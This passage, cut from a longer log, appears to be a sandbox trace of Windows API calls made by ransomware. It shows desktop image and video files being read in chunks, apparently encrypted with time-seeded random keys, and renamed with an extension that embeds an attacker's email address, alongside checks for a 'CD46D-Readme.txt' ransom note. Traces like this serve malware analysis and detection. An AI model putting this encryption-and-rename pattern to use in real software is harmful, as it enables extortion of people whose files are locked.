Flags=0x8, Size=0x20) returned 0x460198 [0054.340] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x460198) returned 1 [0054.341] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc800) returned 0x12d61198 [0054.344] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460198 [0054.344] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460120 [0054.344] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x460120) returned 1 [0054.344] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x437a30) returned 1 [0054.344] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44bb38) returned 1 [0054.345] WriteFile (in: hFile=0x5bc, lpBuffer=0x12d61198*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x89df94c, lpOverlapped=0x0 | out: lpBuffer=0x12d61198*, lpNumberOfBytesWritten=0x89df94c*=0xc800, lpOverlapped=0x0) returned 1 [0054.477] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d61198) returned 1 [0054.477] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d54990) returned 1 [0054.480] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x1f) returned 0x95d03d0 [0054.480] SetFilePointerEx (in: hFile=0x5bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0054.480] WriteFile (in: hFile=0x5bc, lpBuffer=0x44e768*, nNumberOfBytesToWrite=0x103, lpNumberOfBytesWritten=0x89df9cc, lpOverlapped=0x0 | out: lpBuffer=0x44e768*, lpNumberOfBytesWritten=0x89df9cc*=0x103, lpOverlapped=0x0) returned 1 [0054.518] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44e768) returned 1 [0054.518] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x95d03a8) returned 1 [0054.518] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x95d0358) returned 1 [0054.518] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x95d03d0) returned 1 [0054.518] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x460198) returned 1 [0054.518] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x460148) returned 1 [0054.518] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4600d0) returned 1 [0054.518] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4600a8) returned 1 [0054.518] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xa8) returned 0x443540 [0054.518] wcscpy (in: _Dest=0x443540, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\I43kq.png" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\I43kq.png") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\I43kq.png" [0054.518] wcscat (in: _Dest=0x443540, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\I43kq.png.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\I43kq.png.mailto[2Hamlampampom@cock.li].cd46d" [0054.518] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\I43kq.png.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x89df984, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\I43kq.png.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0054.518] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xbe) returned 0x12f4d528 [0054.575] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12f4d528) returned 1 [0054.575] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x49e658) returned 1 [0054.575] NtQueryInformationFile (in: FileHandle=0x5bc, IoStatusBlock=0x89df990, FileInformation=0x89df968, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x89df990, FileInformation=0x89df968) returned 0x0 [0054.575] NtSetInformationFile (FileHandle=0x5bc, IoStatusBlock=0x89df990, FileInformation=0x89df968, Length=0x28, FileInformationClass=0x4) returned 0x0 [0054.581] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x443540) returned 1 [0054.581] FlushFileBuffers (hFile=0x5bc) returned 1 [0054.583] CloseHandle (hObject=0x5bc) returned 1 [0054.584] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x418ed8 [0054.584] wcscpy (in: _Dest=0x418ed8, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" [0054.584] wcscat (in: _Dest=0x418ed8, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\CD46D-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\CD46D-Readme.txt" [0054.584] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cd46d-readme.txt")) returned 0x20 [0054.584] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x418ed8) returned 1 [0054.584] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x445f18) returned 1 Thread: id = 289 os_tid = 0xae0 [0047.001] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\JEJ8DaMQSC.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\jej8damqsc.mp4")) returned 0x20 [0047.001] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\JEJ8DaMQSC.mp4", dwFileAttributes=0x20) returned 1 [0054.305] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\JEJ8DaMQSC.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\jej8damqsc.mp4"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x5c0 [0054.305] GetFileSizeEx (in: hFile=0x5c0, lpFileSize=0x87ffdc0 | out: lpFileSize=0x87ffdc0*=99230) returned 1 [0054.305] SetFilePointerEx (in: hFile=0x5c0, liDistanceToMove=0x1839a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0054.305] ReadFile (in: hFile=0x5c0, lpBuffer=0x87ffd44, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x87ffd40, lpOverlapped=0x0 | out: lpBuffer=0x87ffd44*, lpNumberOfBytesRead=0x87ffd40*=0x4, lpOverlapped=0x0) returned 1 [0054.306] SetFilePointerEx (in: hFile=0x5c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0054.306] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460260 [0054.306] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4601c0 [0054.306] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460198 [0054.306] NtQuerySystemTime (in: CurrentTime=0x87ffd20 | out: CurrentTime=0x87ffd20*=132174898182804000) returned 0x0 [0054.306] RtlRandomEx (in: Seed=0x87ffd2c | out: Seed=0x87ffd2c) returned 0x1be0cc5b [0054.306] RtlRandomEx (in: Seed=0x87ffd2c | out: Seed=0x87ffd2c) returned 0x3cf88cc6 [0054.306] RtlRandomEx (in: Seed=0x87ffd2c | out: Seed=0x87ffd2c) returned 0x75692a1 [0054.306] RtlRandomEx (in: Seed=0x87ffd2c | out: Seed=0x87ffd2c) returned 0x122a7f3e [0054.306] RtlRandomEx (in: Seed=0x87ffd2c | out: Seed=0x87ffd2c) returned 0x5ca1396d [0054.306] RtlRandomEx (in: Seed=0x87ffd2c | out: Seed=0x87ffd2c) returned 0x113eba4f [0054.306] RtlRandomEx (in: Seed=0x87ffd2c | out: Seed=0x87ffd2c) returned 0x5aaa7ad1 [0054.306] RtlRandomEx (in: Seed=0x87ffd2c | out: Seed=0x87ffd2c) returned 0x6a808c03 [0054.306] RtlRandomEx (in: Seed=0x87ffd2c | out: Seed=0x87ffd2c) returned 0x4bc438b3 [0054.306] RtlRandomEx (in: Seed=0x87ffd2c | out: Seed=0x87ffd2c) returned 0x84b54b5 [0054.306] RtlRandomEx (in: Seed=0x87ffd2c | out: Seed=0x87ffd2c) returned 0x29a84e40 [0054.306] RtlRandomEx (in: Seed=0x87ffd2c | out: Seed=0x87ffd2c) returned 0x2d16034f [0054.306] RtlRandomEx (in: Seed=0x87ffd2c | out: Seed=0x87ffd2c) returned 0x77f3f5e5 [0054.306] RtlRandomEx (in: Seed=0x87ffd2c | out: Seed=0x87ffd2c) returned 0x79f41849 [0054.306] RtlRandomEx (in: Seed=0x87ffd2c | out: Seed=0x87ffd2c) returned 0x5a8fe4a0 [0054.306] RtlRandomEx (in: Seed=0x87ffd2c | out: Seed=0x87ffd2c) returned 0x6b41449 [0054.306] RtlRandomEx (in: Seed=0x87ffd2c | out: Seed=0x87ffd2c) returned 0x4af8abb3 [0054.306] RtlRandomEx (in: Seed=0x87ffd2c | out: Seed=0x87ffd2c) returned 0x55ea47fd [0054.306] RtlRandomEx (in: Seed=0x87ffd2c | out: Seed=0x87ffd2c) returned 0x33609871 [0054.306] RtlRandomEx (in: Seed=0x87ffd2c | out: Seed=0x87ffd2c) returned 0x740dea61 [0054.306] RtlRandomEx (in: Seed=0x87ffd2c | out: Seed=0x87ffd2c) returned 0x4b204b57 [0054.306] RtlRandomEx (in: Seed=0x87ffd2c | out: Seed=0x87ffd2c) returned 0x6103ba9f [0054.307] RtlRandomEx (in: Seed=0x87ffd2c | out: Seed=0x87ffd2c) returned 0x14df5ed6 [0054.307] RtlRandomEx (in: Seed=0x87ffd2c | out: Seed=0x87ffd2c) returned 0x11a88f94 [0054.307] RtlRandomEx (in: Seed=0x87ffd2c | out: Seed=0x87ffd2c) returned 0x12607c [0054.307] RtlRandomEx (in: Seed=0x87ffd2c | out: Seed=0x87ffd2c) returned 0x3e5fd7a2 [0054.307] RtlRandomEx (in: Seed=0x87ffd2c | out: Seed=0x87ffd2c) returned 0x37f8d147 [0054.307] RtlRandomEx (in: Seed=0x87ffd2c | out: Seed=0x87ffd2c) returned 0x5fdb31dc [0054.307] RtlRandomEx (in: Seed=0x87ffd2c | out: Seed=0x87ffd2c) returned 0x4b3abd7e [0054.307] RtlRandomEx (in: Seed=0x87ffd2c | out: Seed=0x87ffd2c) returned 0x63a0149d [0054.307] RtlRandomEx (in: Seed=0x87ffd2c | out: Seed=0x87ffd2c) returned 0x49692df4 [0054.307] RtlRandomEx (in: Seed=0x87ffd2c | out: Seed=0x87ffd2c) returned 0x5569d517 [0054.319] SetFilePointerEx (in: hFile=0x5c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0054.319] ReadFile (in: hFile=0x5c0, lpBuffer=0x12d3b980, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x87ffd00, lpOverlapped=0x0 | out: lpBuffer=0x12d3b980*, lpNumberOfBytesRead=0x87ffd00*=0xc800, lpOverlapped=0x0) returned 1 [0054.319] SetFilePointerEx (in: hFile=0x5c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0054.319] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x40) returned 0x44bb38 [0054.319] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x437a30 [0054.319] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460260 [0054.319] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x460260) returned 1 [0054.320] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc800) returned 0x12d48188 [0054.324] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460260 [0054.324] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460198 [0054.324] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x460198) returned 1 [0054.324] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x437a30) returned 1 [0054.324] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44bb38) returned 1 [0054.324] WriteFile (in: hFile=0x5c0, lpBuffer=0x12d48188*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x87ffd00, lpOverlapped=0x0 | out: lpBuffer=0x12d48188*, lpNumberOfBytesWritten=0x87ffd00*=0xc800, lpOverlapped=0x0) returned 1 [0054.461] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d48188) returned 1 [0054.461] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d3b980) returned 1 [0054.476] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x29) returned 0x40ac98 [0054.476] SetFilePointerEx (in: hFile=0x5c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0054.476] WriteFile (in: hFile=0x5c0, lpBuffer=0x44cfb8*, nNumberOfBytesToWrite=0x10d, lpNumberOfBytesWritten=0x87ffd80, lpOverlapped=0x0 | out: lpBuffer=0x44cfb8*, lpNumberOfBytesWritten=0x87ffd80*=0x10d, lpOverlapped=0x0) returned 1 [0054.516] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44cfb8) returned 1 [0054.516] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x40acd0) returned 1 [0054.516] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x95d03f8) returned 1 [0054.516] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x40ac98) returned 1 [0054.516] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x460260) returned 1 [0054.516] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4601c0) returned 1 [0054.517] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4600f8) returned 1 [0054.517] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x460058) returned 1 [0054.517] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xb2) returned 0x5e025a0 [0054.517] wcscpy (in: _Dest=0x5e025a0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\JEJ8DaMQSC.mp4" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\JEJ8DaMQSC.mp4") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\JEJ8DaMQSC.mp4" [0054.517] wcscat (in: _Dest=0x5e025a0, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\JEJ8DaMQSC.mp4.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\JEJ8DaMQSC.mp4.mailto[2Hamlampampom@cock.li].cd46d" [0054.517] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\JEJ8DaMQSC.mp4.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x87ffd38, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\JEJ8DaMQSC.mp4.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0054.517] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc8) returned 0x5e00130 [0054.572] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e00130) returned 1 [0054.572] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4a1178) returned 1 [0054.572] NtQueryInformationFile (in: FileHandle=0x5c0, IoStatusBlock=0x87ffd44, FileInformation=0x87ffd1c, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x87ffd44, FileInformation=0x87ffd1c) returned 0x0 [0054.572] NtSetInformationFile (FileHandle=0x5c0, IoStatusBlock=0x87ffd44, FileInformation=0x87ffd1c, Length=0x28, FileInformationClass=0x4) returned 0x0 [0054.576] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e025a0) returned 1 [0054.576] FlushFileBuffers (hFile=0x5c0) returned 1 [0054.581] CloseHandle (hObject=0x5c0) returned 1 [0054.582] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x418f50 [0054.582] wcscpy (in: _Dest=0x418f50, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" [0054.582] wcscat (in: _Dest=0x418f50, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\CD46D-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\CD46D-Readme.txt" [0054.582] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cd46d-readme.txt")) returned 0x20 [0054.582] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x418f50) returned 1 [0054.582] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x418ed8) returned 1 Thread: id = 290 os_tid = 0xb0c [0047.001] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\jiU9--Vb2fyV.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\jiu9--vb2fyv.png")) returned 0x20 [0047.002] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\jiU9--Vb2fyV.png", dwFileAttributes=0x20) returned 1 [0054.283] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\jiU9--Vb2fyV.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\jiu9--vb2fyv.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x5c4 [0054.283] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x8befa74 | out: lpFileSize=0x8befa74*=91541) returned 1 [0054.283] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x16591, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0054.283] ReadFile (in: hFile=0x5c4, lpBuffer=0x8bef9f8, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x8bef9f4, lpOverlapped=0x0 | out: lpBuffer=0x8bef9f8*, lpNumberOfBytesRead=0x8bef9f4*=0x4, lpOverlapped=0x0) returned 1 [0054.284] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0054.284] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460170 [0054.284] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4602d8 [0054.284] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460260 [0054.284] NtQuerySystemTime (in: CurrentTime=0x8bef9d4 | out: CurrentTime=0x8bef9d4*=132174898182648000) returned 0x0 [0054.284] RtlRandomEx (in: Seed=0x8bef9e0 | out: Seed=0x8bef9e0) returned 0x3b413b42 [0054.284] RtlRandomEx (in: Seed=0x8bef9e0 | out: Seed=0x8bef9e0) returned 0x37bab39b [0054.284] RtlRandomEx (in: Seed=0x8bef9e0 | out: Seed=0x8bef9e0) returned 0x6ab40b08 [0054.284] RtlRandomEx (in: Seed=0x8bef9e0 | out: Seed=0x8bef9e0) returned 0x405fe55c [0054.285] RtlRandomEx (in: Seed=0x8bef9e0 | out: Seed=0x8bef9e0) returned 0x520a9923 [0054.285] RtlRandomEx (in: Seed=0x8bef9e0 | out: Seed=0x8bef9e0) returned 0x59f51c9 [0054.285] RtlRandomEx (in: Seed=0x8bef9e0 | out: Seed=0x8bef9e0) returned 0x124d6cb3 [0054.285] RtlRandomEx (in: Seed=0x8bef9e0 | out: Seed=0x8bef9e0) returned 0x73a03d8c [0054.285] RtlRandomEx (in: Seed=0x8bef9e0 | out: Seed=0x8bef9e0) returned 0x5b6d79f2 [0054.285] RtlRandomEx (in: Seed=0x8bef9e0 | out: Seed=0x8bef9e0) returned 0x609ee69e [0054.285] RtlRandomEx (in: Seed=0x8bef9e0 | out: Seed=0x8bef9e0) returned 0x6030d758 [0054.285] RtlRandomEx (in: Seed=0x8bef9e0 | out: Seed=0x8bef9e0) returned 0x19f1b5f0 [0054.285] RtlRandomEx (in: Seed=0x8bef9e0 | out: Seed=0x8bef9e0) returned 0x5d4c9c6d [0054.285] RtlRandomEx (in: Seed=0x8bef9e0 | out: Seed=0x8bef9e0) returned 0x451eba1e [0054.285] RtlRandomEx (in: Seed=0x8bef9e0 | out: Seed=0x8bef9e0) returned 0x1ead85 [0054.285] RtlRandomEx (in: Seed=0x8bef9e0 | out: Seed=0x8bef9e0) returned 0x1de35881 [0054.285] RtlRandomEx (in: Seed=0x8bef9e0 | out: Seed=0x8bef9e0) returned 0x7c88e5c8 [0054.285] RtlRandomEx (in: Seed=0x8bef9e0 | out: Seed=0x8bef9e0) returned 0x4882a76e [0054.285] RtlRandomEx (in: Seed=0x8bef9e0 | out: Seed=0x8bef9e0) returned 0x695b908d [0054.285] RtlRandomEx (in: Seed=0x8bef9e0 | out: Seed=0x8bef9e0) returned 0x76625522 [0054.285] RtlRandomEx (in: Seed=0x8bef9e0 | out: Seed=0x8bef9e0) returned 0x4a03522b [0054.285] RtlRandomEx (in: Seed=0x8bef9e0 | out: Seed=0x8bef9e0) returned 0x7701965f [0054.285] RtlRandomEx (in: Seed=0x8bef9e0 | out: Seed=0x8bef9e0) returned 0x6603c6ad [0054.285] RtlRandomEx (in: Seed=0x8bef9e0 | out: Seed=0x8bef9e0) returned 0x1625758c [0054.285] RtlRandomEx (in: Seed=0x8bef9e0 | out: Seed=0x8bef9e0) returned 0x594a9b41 [0054.285] RtlRandomEx (in: Seed=0x8bef9e0 | out: Seed=0x8bef9e0) returned 0xbe4e417 [0054.285] RtlRandomEx (in: Seed=0x8bef9e0 | out: Seed=0x8bef9e0) returned 0x6c73d28c [0054.285] RtlRandomEx (in: Seed=0x8bef9e0 | out: Seed=0x8bef9e0) returned 0x4b3051dc [0054.285] RtlRandomEx (in: Seed=0x8bef9e0 | out: Seed=0x8bef9e0) returned 0x2cac29bc [0054.285] RtlRandomEx (in: Seed=0x8bef9e0 | out: Seed=0x8bef9e0) returned 0x66d039fd [0054.285] RtlRandomEx (in: Seed=0x8bef9e0 | out: Seed=0x8bef9e0) returned 0x6c9cbf75 [0054.285] RtlRandomEx (in: Seed=0x8bef9e0 | out: Seed=0x8bef9e0) returned 0x6284504d [0054.297] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0054.297] ReadFile (in: hFile=0x5c4, lpBuffer=0x12d22970, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x8bef9b4, lpOverlapped=0x0 | out: lpBuffer=0x12d22970*, lpNumberOfBytesRead=0x8bef9b4*=0xc800, lpOverlapped=0x0) returned 1 [0054.298] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0054.298] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x40) returned 0x44bb38 [0054.298] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x437a30 [0054.298] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460170 [0054.298] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x460170) returned 1 [0054.299] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc800) returned 0x12d2f178 [0054.302] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460170 [0054.302] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460260 [0054.303] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x460260) returned 1 [0054.303] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x437a30) returned 1 [0054.303] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44bb38) returned 1 [0054.303] WriteFile (in: hFile=0x5c4, lpBuffer=0x12d2f178*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x8bef9b4, lpOverlapped=0x0 | out: lpBuffer=0x12d2f178*, lpNumberOfBytesWritten=0x8bef9b4*=0xc800, lpOverlapped=0x0) returned 1 [0054.460] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d2f178) returned 1 [0054.460] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d22970) returned 1 [0054.460] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x2d) returned 0x40ac28 [0054.460] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0054.460] WriteFile (in: hFile=0x5c4, lpBuffer=0x5efe158*, nNumberOfBytesToWrite=0x111, lpNumberOfBytesWritten=0x8befa34, lpOverlapped=0x0 | out: lpBuffer=0x5efe158*, lpNumberOfBytesWritten=0x8befa34*=0x111, lpOverlapped=0x0) returned 1 [0054.515] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5efe158) returned 1 [0054.515] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x40ac60) returned 1 [0054.515] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x95d0448) returned 1 [0054.515] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x40ac28) returned 1 [0054.515] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x460170) returned 1 [0054.515] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4602d8) returned 1 [0054.515] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x460238) returned 1 [0054.515] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4601e8) returned 1 [0054.515] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xb6) returned 0x5e02660 [0054.515] wcscpy (in: _Dest=0x5e02660, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\jiU9--Vb2fyV.png" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\jiU9--Vb2fyV.png") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\jiU9--Vb2fyV.png" [0054.515] wcscat (in: _Dest=0x5e02660, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\jiU9--Vb2fyV.png.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS 